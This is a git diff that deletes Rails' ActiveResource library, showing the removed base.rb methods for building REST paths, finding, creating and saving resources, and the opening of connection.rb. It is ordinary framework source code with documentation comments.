-      # Returns the SSL options hash.
-      def ssl_options
-        if defined?(@ssl_options)
-          @ssl_options
-        elsif superclass != Object && superclass.ssl_options
-          superclass.ssl_options
-        end
-      end
-
-      # An instance of ActiveResource::Connection that is the base \connection to the remote service.
-      # The +refresh+ parameter toggles whether or not the \connection is refreshed at every request
-      # or not (defaults to <tt>false</tt>).
-      def connection(refresh = false)
-        if defined?(@connection) || superclass == Object
-          @connection = Connection.new(site, format) if refresh || @connection.nil?
-          @connection.proxy = proxy if proxy
-          @connection.user = user if user
-          @connection.password = password if password
-          @connection.auth_type = auth_type if auth_type
-          @connection.timeout = timeout if timeout
-          @connection.ssl_options = ssl_options if ssl_options
-          @connection
-        else
-          superclass.connection
-        end
-      end
-
-      def headers
-        @headers ||= {}
-      end
-
-      attr_writer :element_name
-
-      def element_name
-        @element_name ||= model_name.element
-      end
-
-      attr_writer :collection_name
-
-      def collection_name
-        @collection_name ||= ActiveSupport::Inflector.pluralize(element_name)
-      end
-
-      attr_writer :primary_key
-
-      def primary_key
-        @primary_key ||= 'id'
-      end
-
-      # Gets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.json</tt>)
-      # This method is regenerated at runtime based on what the \prefix is set to.
-      def prefix(options={})
-        default = site.path
-        default << '/' unless default[-1..-1] == '/'
-        # generate the actual method based on the current site path
-        self.prefix = default
-        prefix(options)
-      end
-
-      # An attribute reader for the source string for the resource path \prefix.  This
-      # method is regenerated at runtime based on what the \prefix is set to.
-      def prefix_source
-        prefix # generate #prefix and #prefix_source methods first
-        prefix_source
-      end
-
-      # Sets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.json</tt>).
-      # Default value is <tt>site.path</tt>.
-      def prefix=(value = '/')
-        # Replace :placeholders with '#{embedded options[:lookups]}'
-        prefix_call = value.gsub(/:\w+/) { |key| "\#{URI.parser.escape options[#{key}].to_s}" }
-
-        # Clear prefix parameters in case they have been cached
-        @prefix_parameters = nil
-
-        silence_warnings do
-          # Redefine the new methods.
-          instance_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-            def prefix_source() "#{value}" end
-            def prefix(options={}) "#{prefix_call}" end
-          RUBY_EVAL
-        end
-      rescue Exception => e
-        logger.error "Couldn't set prefix: #{e}\n  #{code}" if logger
-        raise
-      end
-
-      alias_method :set_prefix, :prefix=  #:nodoc:
-
-      alias_method :set_element_name, :element_name=  #:nodoc:
-      alias_method :set_collection_name, :collection_name=  #:nodoc:
-
-      # Gets the element path for the given ID in +id+.  If the +query_options+ parameter is omitted, Rails
-      # will split from the \prefix options.
-      #
-      # ==== Options
-      # +prefix_options+ - A \hash to add a \prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
-      #                    would yield a URL like <tt>/accounts/19/purchases.json</tt>).
-      # +query_options+ - A \hash to add items to the query string for the request.
-      #
-      # ==== Examples
-      #   Post.element_path(1)
-      #   # => /posts/1.json
-      #
-      #   class Comment < ActiveResource::Base
-      #     self.site = "http://37s.sunrise.i/posts/:post_id/"
-      #   end
-      #
-      #   Comment.element_path(1, :post_id => 5)
-      #   # => /posts/5/comments/1.json
-      #
-      #   Comment.element_path(1, :post_id => 5, :active => 1)
-      #   # => /posts/5/comments/1.json?active=1
-      #
-      #   Comment.element_path(1, {:post_id => 5}, {:active => 1})
-      #   # => /posts/5/comments/1.json?active=1
-      #
-      def element_path(id, prefix_options = {}, query_options = nil)
-        check_prefix_options(prefix_options)
-
-        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
-        "#{prefix(prefix_options)}#{collection_name}/#{URI.parser.escape id.to_s}.#{format.extension}#{query_string(query_options)}"
-      end
-
-      # Gets the new element path for REST resources.
-      #
-      # ==== Options
-      # * +prefix_options+ - A hash to add a prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
-      #   would yield a URL like <tt>/accounts/19/purchases/new.json</tt>).
-      #
-      # ==== Examples
-      #   Post.new_element_path
-      #   # => /posts/new.json
-      #
-      #   class Comment < ActiveResource::Base
-      #     self.site = "http://37s.sunrise.i/posts/:post_id/"
-      #   end
-      #
-      #   Comment.collection_path(:post_id => 5)
-      #   # => /posts/5/comments/new.json
-      def new_element_path(prefix_options = {})
-        "#{prefix(prefix_options)}#{collection_name}/new.#{format.extension}"
-      end
-
-      # Gets the collection path for the REST resources.  If the +query_options+ parameter is omitted, Rails
-      # will split from the +prefix_options+.
-      #
-      # ==== Options
-      # * +prefix_options+ - A hash to add a prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
-      #   would yield a URL like <tt>/accounts/19/purchases.json</tt>).
-      # * +query_options+ - A hash to add items to the query string for the request.
-      #
-      # ==== Examples
-      #   Post.collection_path
-      #   # => /posts.json
-      #
-      #   Comment.collection_path(:post_id => 5)
-      #   # => /posts/5/comments.json
-      #
-      #   Comment.collection_path(:post_id => 5, :active => 1)
-      #   # => /posts/5/comments.json?active=1
-      #
-      #   Comment.collection_path({:post_id => 5}, {:active => 1})
-      #   # => /posts/5/comments.json?active=1
-      #
-      def collection_path(prefix_options = {}, query_options = nil)
-        check_prefix_options(prefix_options)
-        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
-        "#{prefix(prefix_options)}#{collection_name}.#{format.extension}#{query_string(query_options)}"
-      end
-
-      alias_method :set_primary_key, :primary_key=  #:nodoc:
-
-      # Builds a new, unsaved record using the default values from the remote server so
-      # that it can be used with RESTful forms.
-      #
-      # ==== Options
-      # * +attributes+ - A hash that overrides the default values from the server.
-      #
-      # Returns the new resource instance.
-      #
-      def build(attributes = {})
-        attrs = self.format.decode(connection.get("#{new_element_path}").body).merge(attributes)
-        self.new(attrs)
-      end
-
-      # Creates a new resource instance and makes a request to the remote service
-      # that it be saved, making it equivalent to the following simultaneous calls:
-      #
-      #   ryan = Person.new(:first => 'ryan')
-      #   ryan.save
-      #
-      # Returns the newly created resource.  If a failure has occurred an
-      # exception will be raised (see <tt>save</tt>).  If the resource is invalid and
-      # has not been saved then <tt>valid?</tt> will return <tt>false</tt>,
-      # while <tt>new?</tt> will still return <tt>true</tt>.
-      #
-      # ==== Examples
-      #   Person.create(:name => 'Jeremy', :email => 'myname@nospam.com', :enabled => true)
-      #   my_person = Person.find(:first)
-      #   my_person.email # => myname@nospam.com
-      #
-      #   dhh = Person.create(:name => 'David', :email => 'dhh@nospam.com', :enabled => true)
-      #   dhh.valid? # => true
-      #   dhh.new?   # => false
-      #
-      #   # We'll assume that there's a validation that requires the name attribute
-      #   that_guy = Person.create(:name => '', :email => 'thatguy@nospam.com', :enabled => true)
-      #   that_guy.valid? # => false
-      #   that_guy.new?   # => true
-      def create(attributes = {})
-        self.new(attributes).tap { |resource| resource.save }
-      end
-
-      # Core method for finding resources.  Used similarly to Active Record's +find+ method.
-      #
-      # ==== Arguments
-      # The first argument is considered to be the scope of the query.  That is, how many
-      # resources are returned from the request.  It can be one of the following.
-      #
-      # * <tt>:one</tt> - Returns a single resource.
-      # * <tt>:first</tt> - Returns the first resource found.
-      # * <tt>:last</tt> - Returns the last resource found.
-      # * <tt>:all</tt> - Returns every resource that matches the request.
-      #
-      # ==== Options
-      #
-      # * <tt>:from</tt> - Sets the path or custom method that resources will be fetched from.
-      # * <tt>:params</tt> - Sets query and \prefix (nested URL) parameters.
-      #
-      # ==== Examples
-      #   Person.find(1)
-      #   # => GET /people/1.json
-      #
-      #   Person.find(:all)
-      #   # => GET /people.json
-      #
-      #   Person.find(:all, :params => { :title => "CEO" })
-      #   # => GET /people.json?title=CEO
-      #
-      #   Person.find(:first, :from => :managers)
-      #   # => GET /people/managers.json
-      #
-      #   Person.find(:last, :from => :managers)
-      #   # => GET /people/managers.json
-      #
-      #   Person.find(:all, :from => "/companies/1/people.json")
-      #   # => GET /companies/1/people.json
-      #
-      #   Person.find(:one, :from => :leader)
-      #   # => GET /people/leader.json
-      #
-      #   Person.find(:all, :from => :developers, :params => { :language => 'ruby' })
-      #   # => GET /people/developers.json?language=ruby
-      #
-      #   Person.find(:one, :from => "/companies/1/manager.json")
-      #   # => GET /companies/1/manager.json
-      #
-      #   StreetAddress.find(1, :params => { :person_id => 1 })
-      #   # => GET /people/1/street_addresses/1.json
-      #
-      # == Failure or missing data
-      #   A failure to find the requested object raises a ResourceNotFound
-      #   exception if the find was called with an id.
-      #   With any other scope, find returns nil when no data is returned.
-      #
-      #   Person.find(1)
-      #   # => raises ResourceNotFound
-      #
-      #   Person.find(:all)
-      #   Person.find(:first)
-      #   Person.find(:last)
-      #   # => nil
-      def find(*arguments)
-        scope   = arguments.slice!(0)
-        options = arguments.slice!(0) || {}
-
-        case scope
-          when :all   then find_every(options)
-          when :first then find_every(options).first
-          when :last  then find_every(options).last
-          when :one   then find_one(options)
-          else             find_single(scope, options)
-        end
-      end
-
-
-      # A convenience wrapper for <tt>find(:first, *args)</tt>. You can pass
-      # in all the same arguments to this method as you can to
-      # <tt>find(:first)</tt>.
-      def first(*args)
-        find(:first, *args)
-      end
-
-      # A convenience wrapper for <tt>find(:last, *args)</tt>. You can pass
-      # in all the same arguments to this method as you can to
-      # <tt>find(:last)</tt>.
-      def last(*args)
-        find(:last, *args)
-      end
-
-      # This is an alias for find(:all).  You can pass in all the same
-      # arguments to this method as you can to <tt>find(:all)</tt>
-      def all(*args)
-        find(:all, *args)
-      end
-
-
-      # Deletes the resources with the ID in the +id+ parameter.
-      #
-      # ==== Options
-      # All options specify \prefix and query parameters.
-      #
-      # ==== Examples
-      #   Event.delete(2) # sends DELETE /events/2
-      #
-      #   Event.create(:name => 'Free Concert', :location => 'Community Center')
-      #   my_event = Event.find(:first) # let's assume this is event with ID 7
-      #   Event.delete(my_event.id) # sends DELETE /events/7
-      #
-      #   # Let's assume a request to events/5/cancel.json
-      #   Event.delete(params[:id]) # sends DELETE /events/5
-      def delete(id, options = {})
-        connection.delete(element_path(id, options))
-      end
-
-      # Asserts the existence of a resource, returning <tt>true</tt> if the resource is found.
-      #
-      # ==== Examples
-      #   Note.create(:title => 'Hello, world.', :body => 'Nothing more for now...')
-      #   Note.exists?(1) # => true
-      #
-      #   Note.exists(1349) # => false
-      def exists?(id, options = {})
-        if id
-          prefix_options, query_options = split_options(options[:params])
-          path = element_path(id, prefix_options, query_options)
-          response = connection.head(path, headers)
-          response.code.to_i == 200
-        end
-        # id && !find_single(id, options).nil?
-      rescue ActiveResource::ResourceNotFound, ActiveResource::ResourceGone
-        false
-      end
-
-      private
-
-        def check_prefix_options(prefix_options)
-          p_options = HashWithIndifferentAccess.new(prefix_options)
-          prefix_parameters.each do |p|
-            raise(MissingPrefixParam, "#{p} prefix_option is missing") if p_options[p].blank?
-          end
-        end
-
-        # Find every resource
-        def find_every(options)
-          begin
-            case from = options[:from]
-            when Symbol
-              instantiate_collection(get(from, options[:params]))
-            when String
-              path = "#{from}#{query_string(options[:params])}"
-              instantiate_collection(format.decode(connection.get(path, headers).body) || [])
-            else
-              prefix_options, query_options = split_options(options[:params])
-              path = collection_path(prefix_options, query_options)
-              instantiate_collection( (format.decode(connection.get(path, headers).body) || []), prefix_options )
-            end
-          rescue ActiveResource::ResourceNotFound
-            # Swallowing ResourceNotFound exceptions and return nil - as per
-            # ActiveRecord.
-            nil
-          end
-        end
-
-        # Find a single resource from a one-off URL
-        def find_one(options)
-          case from = options[:from]
-          when Symbol
-            instantiate_record(get(from, options[:params]))
-          when String
-            path = "#{from}#{query_string(options[:params])}"
-            instantiate_record(format.decode(connection.get(path, headers).body))
-          end
-        end
-
-        # Find a single resource from the default URL
-        def find_single(scope, options)
-          prefix_options, query_options = split_options(options[:params])
-          path = element_path(scope, prefix_options, query_options)
-          instantiate_record(format.decode(connection.get(path, headers).body), prefix_options)
-        end
-
-        def instantiate_collection(collection, prefix_options = {})
-          collection.collect! { |record| instantiate_record(record, prefix_options) }
-        end
-
-        def instantiate_record(record, prefix_options = {})
-          new(record, true).tap do |resource|
-            resource.prefix_options = prefix_options
-          end
-        end
-
-
-        # Accepts a URI and creates the site URI from that.
-        def create_site_uri_from(site)
-          site.is_a?(URI) ? site.dup : URI.parser.parse(site)
-        end
-
-        # Accepts a URI and creates the proxy URI from that.
-        def create_proxy_uri_from(proxy)
-          proxy.is_a?(URI) ? proxy.dup : URI.parser.parse(proxy)
-        end
-
-        # contains a set of the current prefix parameters.
-        def prefix_parameters
-          @prefix_parameters ||= prefix_source.scan(/:\w+/).map { |key| key[1..-1].to_sym }.to_set
-        end
-
-        # Builds the query string for the request.
-        def query_string(options)
-          "?#{options.to_query}" unless options.nil? || options.empty?
-        end
-
-        # split an option hash into two hashes, one containing the prefix options,
-        # and the other containing the leftovers.
-        def split_options(options = {})
-          prefix_options, query_options = {}, {}
-
-          (options || {}).each do |key, value|
-            next if key.blank? || !key.respond_to?(:to_sym)
-            (prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value
-          end
-
-          [ prefix_options, query_options ]
-        end
-    end
-
-    attr_accessor :attributes #:nodoc:
-    attr_accessor :prefix_options #:nodoc:
-
-    # If no schema has been defined for the class (see
-    # <tt>ActiveResource::schema=</tt>), the default automatic schema is
-    # generated from the current instance's attributes
-    def schema
-      self.class.schema || self.attributes
-    end
-
-    # This is a list of known attributes for this resource. Either
-    # gathered from the provided <tt>schema</tt>, or from the attributes
-    # set on this instance after it has been fetched from the remote system.
-    def known_attributes
-      self.class.known_attributes + self.attributes.keys.map(&:to_s)
-    end
-
-
-    # Constructor method for \new resources; the optional +attributes+ parameter takes a \hash
-    # of attributes for the \new resource.
-    #
-    # ==== Examples
-    #   my_course = Course.new
-    #   my_course.name = "Western Civilization"
-    #   my_course.lecturer = "Don Trotter"
-    #   my_course.save
-    #
-    #   my_other_course = Course.new(:name => "Philosophy: Reason and Being", :lecturer => "Ralph Cling")
-    #   my_other_course.save
-    def initialize(attributes = {}, persisted = false)
-      @attributes     = {}.with_indifferent_access
-      @prefix_options = {}
-      @persisted = persisted
-      load(attributes)
-    end
-
-    # Returns a \clone of the resource that hasn't been assigned an +id+ yet and
-    # is treated as a \new resource.
-    #
-    #   ryan = Person.find(1)
-    #   not_ryan = ryan.clone
-    #   not_ryan.new?  # => true
-    #
-    # Any active resource member attributes will NOT be cloned, though all other
-    # attributes are.  This is to prevent the conflict between any +prefix_options+
-    # that refer to the original parent resource and the newly cloned parent
-    # resource that does not exist.
-    #
-    #   ryan = Person.find(1)
-    #   ryan.address = StreetAddress.find(1, :person_id => ryan.id)
-    #   ryan.hash = {:not => "an ARes instance"}
-    #
-    #   not_ryan = ryan.clone
-    #   not_ryan.new?            # => true
-    #   not_ryan.address         # => NoMethodError
-    #   not_ryan.hash            # => {:not => "an ARes instance"}
-    def clone
-      # Clone all attributes except the pk and any nested ARes
-      cloned = Hash[attributes.reject {|k,v| k == self.class.primary_key || v.is_a?(ActiveResource::Base)}.map { |k, v| [k, v.clone] }]
-      # Form the new resource - bypass initialize of resource with 'new' as that will call 'load' which
-      # attempts to convert hashes into member objects and arrays into collections of objects.  We want
-      # the raw objects to be cloned so we bypass load by directly setting the attributes hash.
-      resource = self.class.new({})
-      resource.prefix_options = self.prefix_options
-      resource.send :instance_variable_set, '@attributes', cloned
-      resource
-    end
-
-
-    # Returns +true+ if this object hasn't yet been saved, otherwise, returns +false+.
-    #
-    # ==== Examples
-    #   not_new = Computer.create(:brand => 'Apple', :make => 'MacBook', :vendor => 'MacMall')
-    #   not_new.new? # => false
-    #
-    #   is_new = Computer.new(:brand => 'IBM', :make => 'Thinkpad', :vendor => 'IBM')
-    #   is_new.new? # => true
-    #
-    #   is_new.save
-    #   is_new.new? # => false
-    #
-    def new?
-      !persisted?
-    end
-    alias :new_record? :new?
-
-    # Returns +true+ if this object has been saved, otherwise returns +false+.
-    #
-    # ==== Examples
-    #   persisted = Computer.create(:brand => 'Apple', :make => 'MacBook', :vendor => 'MacMall')
-    #   persisted.persisted? # => true
-    #
-    #   not_persisted = Computer.new(:brand => 'IBM', :make => 'Thinkpad', :vendor => 'IBM')
-    #   not_persisted.persisted? # => false
-    #
-    #   not_persisted.save
-    #   not_persisted.persisted? # => true
-    #
-    def persisted?
-      @persisted
-    end
-
-    # Gets the <tt>\id</tt> attribute of the resource.
-    def id
-      attributes[self.class.primary_key]
-    end
-
-    # Sets the <tt>\id</tt> attribute of the resource.
-    def id=(id)
-      attributes[self.class.primary_key] = id
-    end
-
-    # Test for equality.  Resource are equal if and only if +other+ is the same object or
-    # is an instance of the same class, is not <tt>new?</tt>, and has the same +id+.
-    #
-    # ==== Examples
-    #   ryan = Person.create(:name => 'Ryan')
-    #   jamie = Person.create(:name => 'Jamie')
-    #
-    #   ryan == jamie
-    #   # => false (Different name attribute and id)
-    #
-    #   ryan_again = Person.new(:name => 'Ryan')
-    #   ryan == ryan_again
-    #   # => false (ryan_again is new?)
-    #
-    #   ryans_clone = Person.create(:name => 'Ryan')
-    #   ryan == ryans_clone
-    #   # => false (Different id attributes)
-    #
-    #   ryans_twin = Person.find(ryan.id)
-    #   ryan == ryans_twin
-    #   # => true
-    #
-    def ==(other)
-      other.equal?(self) || (other.instance_of?(self.class) && other.id == id && other.prefix_options == prefix_options)
-    end
-
-    # Tests for equality (delegates to ==).
-    def eql?(other)
-      self == other
-    end
-
-    # Delegates to id in order to allow two resources of the same type and \id to work with something like:
-    #   [(a = Person.find 1), (b = Person.find 2)] & [(c = Person.find 1), (d = Person.find 4)] # => [a]
-    def hash
-      id.hash
-    end
-
-    # Duplicates the current resource without saving it.
-    #
-    # ==== Examples
-    #   my_invoice = Invoice.create(:customer => 'That Company')
-    #   next_invoice = my_invoice.dup
-    #   next_invoice.new? # => true
-    #
-    #   next_invoice.save
-    #   next_invoice == my_invoice # => false (different id attributes)
-    #
-    #   my_invoice.customer   # => That Company
-    #   next_invoice.customer # => That Company
-    def dup
-      self.class.new.tap do |resource|
-        resource.attributes     = @attributes
-        resource.prefix_options = @prefix_options
-      end
-    end
-
-    # Saves (+POST+) or \updates (+PUT+) a resource.  Delegates to +create+ if the object is \new,
-    # +update+ if it exists. If the response to the \save includes a body, it will be assumed that this body
-    # is Json for the final object as it looked after the \save (which would include attributes like +created_at+
-    # that weren't part of the original submit).
-    #
-    # ==== Examples
-    #   my_company = Company.new(:name => 'RoleModel Software', :owner => 'Ken Auer', :size => 2)
-    #   my_company.new? # => true
-    #   my_company.save # sends POST /companies/ (create)
-    #
-    #   my_company.new? # => false
-    #   my_company.size = 10
-    #   my_company.save # sends PUT /companies/1 (update)
-    def save
-      new? ? create : update
-    end
-
-    # Saves the resource.
-    #
-    # If the resource is new, it is created via +POST+, otherwise the
-    # existing resource is updated via +PUT+.
-    #
-    # With <tt>save!</tt> validations always run. If any of them fail
-    # ActiveResource::ResourceInvalid gets raised, and nothing is POSTed to
-    # the remote system.
-    # See ActiveResource::Validations for more information.
-    #
-    # There's a series of callbacks associated with <tt>save!</tt>. If any
-    # of the <tt>before_*</tt> callbacks return +false+ the action is
-    # cancelled and <tt>save!</tt> raises ActiveResource::ResourceInvalid.
-    def save!
-      save || raise(ResourceInvalid.new(self))
-    end
-
-    # Deletes the resource from the remote service.
-    #
-    # ==== Examples
-    #   my_id = 3
-    #   my_person = Person.find(my_id)
-    #   my_person.destroy
-    #   Person.find(my_id) # 404 (Resource Not Found)
-    #
-    #   new_person = Person.create(:name => 'James')
-    #   new_id = new_person.id # => 7
-    #   new_person.destroy
-    #   Person.find(new_id) # 404 (Resource Not Found)
-    def destroy
-      connection.delete(element_path, self.class.headers)
-    end
-
-    # Evaluates to <tt>true</tt> if this resource is not <tt>new?</tt> and is
-    # found on the remote service.  Using this method, you can check for
-    # resources that may have been deleted between the object's instantiation
-    # and actions on it.
-    #
-    # ==== Examples
-    #   Person.create(:name => 'Theodore Roosevelt')
-    #   that_guy = Person.find(:first)
-    #   that_guy.exists? # => true
-    #
-    #   that_lady = Person.new(:name => 'Paul Bean')
-    #   that_lady.exists? # => false
-    #
-    #   guys_id = that_guy.id
-    #   Person.delete(guys_id)
-    #   that_guy.exists? # => false
-    def exists?
-      !new? && self.class.exists?(to_param, :params => prefix_options)
-    end
-
-    # Returns the serialized string representation of the resource in the configured
-    # serialization format specified in ActiveResource::Base.format. The options
-    # applicable depend on the configured encoding format.
-    def encode(options={})
-      send("to_#{self.class.format.extension}", options)
-    end
-
-    # A method to \reload the attributes of this object from the remote web service.
-    #
-    # ==== Examples
-    #   my_branch = Branch.find(:first)
-    #   my_branch.name # => "Wislon Raod"
-    #
-    #   # Another client fixes the typo...
-    #
-    #   my_branch.name # => "Wislon Raod"
-    #   my_branch.reload
-    #   my_branch.name # => "Wilson Road"
-    def reload
-      self.load(self.class.find(to_param, :params => @prefix_options).attributes)
-    end
-
-    # A method to manually load attributes from a \hash. Recursively loads collections of
-    # resources.  This method is called in +initialize+ and +create+ when a \hash of attributes
-    # is provided.
-    #
-    # ==== Examples
-    #   my_attrs = {:name => 'J&J Textiles', :industry => 'Cloth and textiles'}
-    #   my_attrs = {:name => 'Marty', :colors => ["red", "green", "blue"]}
-    #
-    #   the_supplier = Supplier.find(:first)
-    #   the_supplier.name # => 'J&M Textiles'
-    #   the_supplier.load(my_attrs)
-    #   the_supplier.name('J&J Textiles')
-    #
-    #   # These two calls are the same as Supplier.new(my_attrs)
-    #   my_supplier = Supplier.new
-    #   my_supplier.load(my_attrs)
-    #
-    #   # These three calls are the same as Supplier.create(my_attrs)
-    #   your_supplier = Supplier.new
-    #   your_supplier.load(my_attrs)
-    #   your_supplier.save
-    def load(attributes, remove_root = false)
-      raise ArgumentError, "expected an attributes Hash, got #{attributes.inspect}" unless attributes.is_a?(Hash)
-      @prefix_options, attributes = split_options(attributes)
-
-      if attributes.keys.size == 1
-        remove_root = self.class.element_name == attributes.keys.first.to_s
-      end
-
-      attributes = Formats.remove_root(attributes) if remove_root
-
-      attributes.each do |key, value|
-        @attributes[key.to_s] =
-          case value
-            when Array
-              resource = nil
-              value.map do |attrs|
-                if attrs.is_a?(Hash)
-                  resource ||= find_or_create_resource_for_collection(key)
-                  resource.new(attrs)
-                else
-                  attrs.duplicable? ? attrs.dup : attrs
-                end
-              end
-            when Hash
-              resource = find_or_create_resource_for(key)
-              resource.new(value)
-            else
-              value.duplicable? ? value.dup : value
-          end
-      end
-      self
-    end
-
-    # Updates a single attribute and then saves the object.
-    #
-    # Note: Unlike ActiveRecord::Base.update_attribute, this method <b>is</b>
-    # subject to normal validation routines as an update sends the whole body
-    # of the resource in the request.  (See Validations).
-    #
-    # As such, this method is equivalent to calling update_attributes with a single attribute/value pair.
-    #
-    # If the saving fails because of a connection or remote service error, an
-    # exception will be raised.  If saving fails because the resource is
-    # invalid then <tt>false</tt> will be returned.
-    def update_attribute(name, value)
-      self.send("#{name}=".to_sym, value)
-      self.save
-    end
-
-    # Updates this resource with all the attributes from the passed-in Hash
-    # and requests that the record be saved.
-    #
-    # If the saving fails because of a connection or remote service error, an
-    # exception will be raised.  If saving fails because the resource is
-    # invalid then <tt>false</tt> will be returned.
-    #
-    # Note: Though this request can be made with a partial set of the
-    # resource's attributes, the full body of the request will still be sent
-    # in the save request to the remote service.
-    def update_attributes(attributes)
-      load(attributes, false) && save
-    end
-
-    # For checking <tt>respond_to?</tt> without searching the attributes (which is faster).
-    alias_method :respond_to_without_attributes?, :respond_to?
-
-    # A method to determine if an object responds to a message (e.g., a method call). In Active Resource, a Person object with a
-    # +name+ attribute can answer <tt>true</tt> to <tt>my_person.respond_to?(:name)</tt>, <tt>my_person.respond_to?(:name=)</tt>, and
-    # <tt>my_person.respond_to?(:name?)</tt>.
-    def respond_to?(method, include_priv = false)
-      method_name = method.to_s
-      if attributes.nil?
-        super
-      elsif known_attributes.include?(method_name)
-        true
-      elsif method_name =~ /(?:=|\?)$/ && attributes.include?($`)
-        true
-      else
-        # super must be called at the end of the method, because the inherited respond_to?
-        # would return true for generated readers, even if the attribute wasn't present
-        super
-      end
-    end
-
-    def to_json(options={})
-      super({ :root => self.class.element_name }.merge(options))
-    end
-
-    def to_xml(options={})
-      super({ :root => self.class.element_name }.merge(options))
-    end
-
-    protected
-      def connection(refresh = false)
-        self.class.connection(refresh)
-      end
-
-      # Update the resource on the remote service.
-      def update
-        connection.put(element_path(prefix_options), encode, self.class.headers).tap do |response|
-          load_attributes_from_response(response)
-        end
-      end
-
-      # Create (i.e., \save to the remote service) the \new resource.
-      def create
-        connection.post(collection_path, encode, self.class.headers).tap do |response|
-          self.id = id_from_response(response)
-          load_attributes_from_response(response)
-        end
-      end
-
-      def load_attributes_from_response(response)
-        if (response_code_allows_body?(response.code) &&
-            (response['Content-Length'].nil? || response['Content-Length'] != "0") &&
-            !response.body.nil? && response.body.strip.size > 0)
-          load(self.class.format.decode(response.body), true)
-          @persisted = true
-        end
-      end
-
-      # Takes a response from a typical create post and pulls the ID out
-      def id_from_response(response)
-        response['Location'][/\/([^\/]*?)(\.\w+)?$/, 1] if response['Location']
-      end
-
-      def element_path(options = nil)
-        self.class.element_path(to_param, options || prefix_options)
-      end
-
-      def new_element_path
-        self.class.new_element_path(prefix_options)
-      end
-
-      def collection_path(options = nil)
-        self.class.collection_path(options || prefix_options)
-      end
-
-    private
-
-      def read_attribute_for_serialization(n)
-        attributes[n]
-      end
-
-      # Determine whether the response is allowed to have a body per HTTP 1.1 spec section 4.4.1
-      def response_code_allows_body?(c)
-        !((100..199).include?(c) || [204,304].include?(c))
-      end
-
-      # Tries to find a resource for a given collection name; if it fails, then the resource is created
-      def find_or_create_resource_for_collection(name)
-        find_or_create_resource_for(ActiveSupport::Inflector.singularize(name.to_s))
-      end
-
-      # Tries to find a resource in a non empty list of nested modules
-      # if it fails, then the resource is created
-      def find_or_create_resource_in_modules(resource_name, module_names)
-        receiver = Object
-        namespaces = module_names[0, module_names.size-1].map do |module_name|
-          receiver = receiver.const_get(module_name)
-        end
-        const_args = RUBY_VERSION < "1.9" ? [resource_name] : [resource_name, false]
-        if namespace = namespaces.reverse.detect { |ns| ns.const_defined?(*const_args) }
-          namespace.const_get(*const_args)
-        else
-          create_resource_for(resource_name)
-        end
-      end
-
-      # Tries to find a resource for a given name; if it fails, then the resource is created
-      def find_or_create_resource_for(name)
-        resource_name = name.to_s.camelize
-
-        const_args = RUBY_VERSION < "1.9" ? [resource_name] : [resource_name, false]
-        if self.class.const_defined?(*const_args)
-          self.class.const_get(*const_args)
-        else
-          ancestors = self.class.name.split("::")
-          if ancestors.size > 1
-            find_or_create_resource_in_modules(resource_name, ancestors)
-          else
-            if Object.const_defined?(*const_args)
-              Object.const_get(*const_args)
-            else
-              create_resource_for(resource_name)
-            end
-          end
-        end
-      end
-
-      # Create and return a class definition for a resource inside the current resource
-      def create_resource_for(resource_name)
-        resource = self.class.const_set(resource_name, Class.new(ActiveResource::Base))
-        resource.prefix = self.class.prefix
-        resource.site   = self.class.site
-        resource
-      end
-
-      def split_options(options = {})
-        self.class.__send__(:split_options, options)
-      end
-
-      def method_missing(method_symbol, *arguments) #:nodoc:
-        method_name = method_symbol.to_s
-
-        if method_name =~ /(=|\?)$/
-          case $1
-          when "="
-            attributes[$`] = arguments.first
-          when "?"
-            attributes[$`]
-          end
-        else
-          return attributes[method_name] if attributes.include?(method_name)
-          # not set right now but we know about it
-          return nil if known_attributes.include?(method_name)
-          super
-        end
-      end
-  end
-
-  class Base
-    extend ActiveModel::Naming
-    include CustomMethods, Observing, Validations
-    include ActiveModel::Conversion
-    include ActiveModel::Serializers::JSON
-    include ActiveModel::Serializers::Xml
-  end
-end
diff --git a/activeresource/lib/active_resource/connection.rb b/activeresource/lib/active_resource/connection.rb
deleted file mode 100644
index 94839c8c25..0000000000
--- a/activeresource/lib/active_resource/connection.rb
+++ /dev/null
@@ -1,287 +0,0 @@
-require 'active_support/core_ext/benchmark'
-require 'active_support/core_ext/uri'
-require 'active_support/core_ext/object/inclusion'
-require 'net/https'
-require 'date'
-require 'time'
-require 'uri'
-
-module ActiveResource
-  # Class to handle connections to remote web services.
-  # This class is used by ActiveResource::Base to interface with REST
-  # services.
-  class Connection
-
-    HTTP_FORMAT_HEADER_NAMES = {  :get => 'Accept',
-      :put => 'Content-Type',
-      :post => 'Content-Type',
-      :delete => 'Accept',
-      :head => 'Accept'
-    }
-
-    attr_reader :site, :user, :password, :auth_type, :timeout, :proxy, :ssl_options
-    attr_accessor :format
-
-    class << self
-      def requests
-        @@requests ||= []
-      end
-    end
-
-    # The +site+ parameter is required and will set the +site+
-    # attribute to the URI for the remote resource service.
-    def initialize(site, format = ActiveResource::Formats::JsonFormat)
-      raise ArgumentError, 'Missing site URI' unless site
-      @user = @password = nil
-      self.site = site
-      self.format = format
-    end
-
-    # Set URI for remote service.
-    def site=(site)
-      @site = site.is_a?(URI) ? site : URI.parser.parse(site)
-      @user = URI.parser.unescape(@site.user) if @site.user
-      @password = URI.parser.unescape(@site.password) if @site.password
-    end
-
-    # Set the proxy for remote service.
-    def proxy=(proxy)
-      @proxy = proxy.is_a?(URI) ? proxy : URI.parser.parse(proxy)
-    end
-
-    # Sets the user for remote service.
-    def user=(user)
-      @user = user
-    end
-
-    # Sets the password for remote service.
-    def password=(password)
-      @password = password
-    end
-
-    # Sets the auth type for remote service.
-    def auth_type=(auth_type)
-      @auth_type = legitimize_auth_type(auth_type)
-    end
-
-    # Sets the number of seconds after which HTTP requests to the remote service should time out.
-    def timeout=(timeout)
-      @timeout = timeout
-    end
-
-    # Hash of options applied to Net::HTTP instance when +site+ protocol is 'https'.
-    def ssl_options=(opts={})
-      @ssl_options = opts
-    end
-
-    # Executes a GET request.
-    # Used to get (find) resources.
-    def get(path, headers = {})
-      with_auth { request(:get, path, build_request_headers(headers, :get, self.site.merge(path))) }
-    end
-
